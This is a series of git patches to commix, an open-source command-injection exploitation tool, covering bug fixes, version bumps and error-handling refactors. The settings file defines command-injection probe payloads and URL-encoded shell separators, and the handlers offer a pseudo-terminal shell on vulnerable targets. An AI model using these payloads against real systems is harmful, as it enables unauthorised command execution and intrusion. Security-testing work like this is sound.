' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 96e9a82fe0..2a1399bde1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -267,13 +267,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.total_of_requests() # Print the findings to terminal. - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method + "" - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -340,7 +334,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2d52ad0c62..6a5322606c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -277,13 +277,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -350,7 +345,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d576f54c7a..7b3e22ced2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -486,13 +486,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -567,7 +562,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 111d328fe3..e9fe804657 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -421,13 +421,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.total_of_requests() # Print the findings to terminal. - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -506,7 +500,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index ae750d9416..0828381bbd 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -419,7 +419,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d5fa28d361..8828c92d4c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -295,11 +295,11 @@ def sys_argv_errors(): RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + "+" + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING ] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) @@ -426,8 +426,8 @@ def sys_argv_errors(): # The command injection separators. SEPARATORS = [] -DEFAULT_SEPARATORS = ["", ";", "&", "|"] -SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"] +DEFAULT_SEPARATORS = ["", ";", "%26", "|"] +SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 @@ -1209,4 +1209,5 @@ def sys_argv_errors(): # Set predefined answers (e.g. "quit=N,follow=N"). ANSWERS = "" +CHECKING_PARAMETER = "" # eof \ No newline at end of file From 41647be9332bec6f8a3f3ae50aed7c336d53e0f6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 2 Jul 2022 10:46:45 +0300 Subject: [PATCH 177/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eb600e96ab..161a94c4ae 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. From 24afb16dec780f01e23c53d8161469ad0d57d44e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 3 Jul 2022 10:19:55 +0300 Subject: [PATCH 178/560] Updated to v3.5 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 161a94c4ae..05c16ad5ac 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.5 (TBA) +## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. diff --git a/setup.py b/setup.py index d328f17c46..5ffe34c7e7 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.5-dev', + version='3.5', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 8828c92d4c..0cc96984ff 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" REVISION = "99" -STABLE_RELEASE = False +STABLE_RELEASE = True if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From dd1f7994a87b10f86b353a71f3cf6a70a9bec308 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Jul 2022 14:43:40 +0300 Subject: [PATCH 179/560] Fixes https://github.com/commixproject/commix/issues/774 --- setup.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 5ffe34c7e7..9be60fe7f4 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.5', + version='3.6-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e0149655bf..aa14554b58 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -210,7 +210,7 @@ def tab_autocompleter(): readline.parse_and_bind("tab: complete") # Tab compliter readline.set_completer(menu.tab_completer) - except AttributeError: + except (TypeError, AttributeError) as e: error_msg = "Failed while trying to use platform's readline library." print(settings.print_error_msg(error_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0cc96984ff..9d2cc475a5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.5" -REVISION = "99" -STABLE_RELEASE = True +VERSION_NUM = "3.6" +REVISION = "1" +STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From 4a904e28c8e2050f66a1eee1487f54a77c90c2ed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Jul 2022 10:03:48 +0300 Subject: [PATCH 180/560] Minor update --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 9be60fe7f4..dc661019d8 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 96858cf80c13e4aa9eeb11d4736cd9c9e4e1701a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 31 Aug 2022 17:59:52 +0300 Subject: [PATCH 181/560] Fixes https://github.com/commixproject/commix/issues/778 --- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7b3e22ced2..a0829a16f9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -80,7 +80,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "/var/www" message = "Please provide the host's root directory (e.g. '" message += example_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True) + settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): settings.WEB_ROOT = settings.WEB_ROOT[:-1] if len(settings.WEB_ROOT) == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 9d2cc475a5..af0464170b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6edf72d966d82d3b33ec6089d7ed7f2de9626335 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Sep 2022 12:38:21 +0300 Subject: [PATCH 182/560] Fixes https://github.com/commixproject/commix/issues/779 --- doc/CHANGELOG.md | 3 +++ src/core/main.py | 16 ++++++++++------ src/core/requests/headers.py | 1 + src/core/requests/redirection.py | 4 ++-- src/utils/settings.py | 2 +- 5 files changed, 17 insertions(+), 9 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 05c16ad5ac..a24ce372df 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.6 (TBA) +* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). + ## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. diff --git a/src/core/main.py b/src/core/main.py index dc16fc24ef..7285106518 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -209,12 +209,16 @@ def examine_request(request, url): reason = str(err_msg) if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: print(settings.print_critical_msg(err_msg)) - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." + else: + if menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + else: + err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." + err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dab16c0b3f..4843c25d74 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -186,6 +186,7 @@ def https_open(self, req): print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e3d0f5f940..213757bb15 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -90,10 +90,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if settings.VALID_URL: checks.connection_exceptions(err_msg, request) else: - pass + return url except AttributeError: - pass + return url # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index af0464170b..08909e0026 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6eccfb128190230516d3ac3d6eafb5ff4dcd2668 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Sep 2022 07:59:32 +0300 Subject: [PATCH 183/560] Minor improvement regarding parsing HTTP request(s) through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 4 +- src/core/main.py | 43 +------------- src/core/requests/proxy.py | 50 +++++------------ src/core/requests/requests.py | 59 ++++++++++++++++++++ src/utils/settings.py | 2 +- 6 files changed, 79 insertions(+), 80 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a24ce372df..0115fbc2e6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). ## Version 3.5 (2022-07-03) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c6b59dbdc9..e189028203 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, headers.do_check(request) response = requests.get_request_response(request) - if type(response) is not bool: + if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: @@ -174,7 +174,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t headers.do_check(request) response = requests.get_request_response(request) - if type(response) is not bool: + if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: diff --git a/src/core/main.py b/src/core/main.py index 7285106518..d123ca2c90 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -203,43 +203,7 @@ def examine_request(request, url): raise SystemExit() except Exception as err_msg: - settings.VALID_URL = False - reason = "" - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - print(settings.print_critical_msg(err_msg)) - else: - if menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - else: - err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." - err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ - settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ - settings.NOT_FOUND_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if settings.MULTI_TARGETS: - if len(reason) != 0: - reason = reason + ". Skipping to the next target." - print(settings.print_critical_msg(reason)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - err_msg = reason - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - pass - else: - if len(err_msg) != 0: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + requests.request_failed(err_msg) """ Check internet connection before assessing the target. @@ -294,14 +258,11 @@ def init_request(url): settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(url) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 : + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type debug_msg += " HTTP authentication credentials." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index c2bac33ae2..6fbf680179 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -18,10 +18,23 @@ from src.utils import menu from src.utils import settings from src.core.requests import headers +from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client +""" +Use the defined HTTP Proxy +""" +def use_proxy(request): + headers.do_check(request) + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + try: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + except Exception as err_msg: + return requests.request_failed(err_msg) + """ Check if HTTP Proxy is defined. """ @@ -33,41 +46,6 @@ def do_check(url): request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except (_urllib.error.URLError, _urllib.error.HTTPError, _http_client.BadStatusLine) as err: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.timeout: - err_msg = "The connection to target URL or proxy has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - -""" -Use the defined HTTP Proxy -""" -def use_proxy(request): - _ = True - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.HTTPError as err: - if str(err.code) == settings.INTERNAL_SERVER_ERROR or str(err.code) == settings.BAD_REQUEST: - return False - else: - _ = False - except (_urllib.error.URLError, _http_client.BadStatusLine) as err: - _ = False - if not _: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + use_proxy(request) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 85cf8f3008..315cc4eb99 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -331,6 +331,65 @@ def get_request_response(request): raise SystemExit() return response +""" +Exceptions regarding requests failure(s) +""" +def request_failed(err_msg): + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: + try: + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) + if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + err = "Unable to connect to " + if menu.options.proxy: + err += "proxy" + else: + err += "the target URL" + err = err + " (Reason: " + str(error_msg) + ")." + print(settings.print_critical_msg(err)) + raise SystemExit() + + settings.VALID_URL = False + reason = "" + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + reason = str(err_msg) + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + pass + else: + if menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + else: + err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." + err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ + settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ + settings.NOT_FOUND_ERROR in str(err_msg).lower(): + reason = str(err_msg) + if settings.MULTI_TARGETS: + if len(reason) != 0: + reason = reason + ". Skipping to the next target." + print(settings.print_critical_msg(reason)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + err_msg = reason + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + return True + else: + if len(err_msg) != 0: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if target host is vulnerable. (Cookie-based injection) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 08909e0026..73983133a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f9f926e6c36f7589d4e914d16e78fa24242c9978 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Sep 2022 08:21:24 +0300 Subject: [PATCH 184/560] Minor update --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 315cc4eb99..b22a4bd401 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -375,7 +375,7 @@ def request_failed(err_msg): settings.NOT_FOUND_ERROR in str(err_msg).lower(): reason = str(err_msg) if settings.MULTI_TARGETS: - if len(reason) != 0: + if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) if settings.EOF: diff --git a/src/utils/settings.py b/src/utils/settings.py index 73983133a7..e8aa638e2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7a3d5dae26f41072a560147330ebac4cb99df473 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 10 Sep 2022 12:20:26 +0300 Subject: [PATCH 185/560] Minor update --- src/core/injections/controller/checks.py | 12 +++++++++++- src/core/tamper/sleep2timeout.py | 10 ++++------ src/core/tamper/sleep2usleep.py | 13 ++++++------- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 15 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index aa14554b58..66ebcdf6cf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1009,6 +1009,16 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if menu.options.skip_parameter != None: check_skipped_params(check_parameters) +""" +Only time-relative injection techniques support tamper +""" +def time_relative_tamper(tamper): + warn_msg = "All injection techniques, except for the time-relative ones, " + warn_msg += "do not support the '" + tamper + ".py' tamper script." + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + """ Lists available tamper 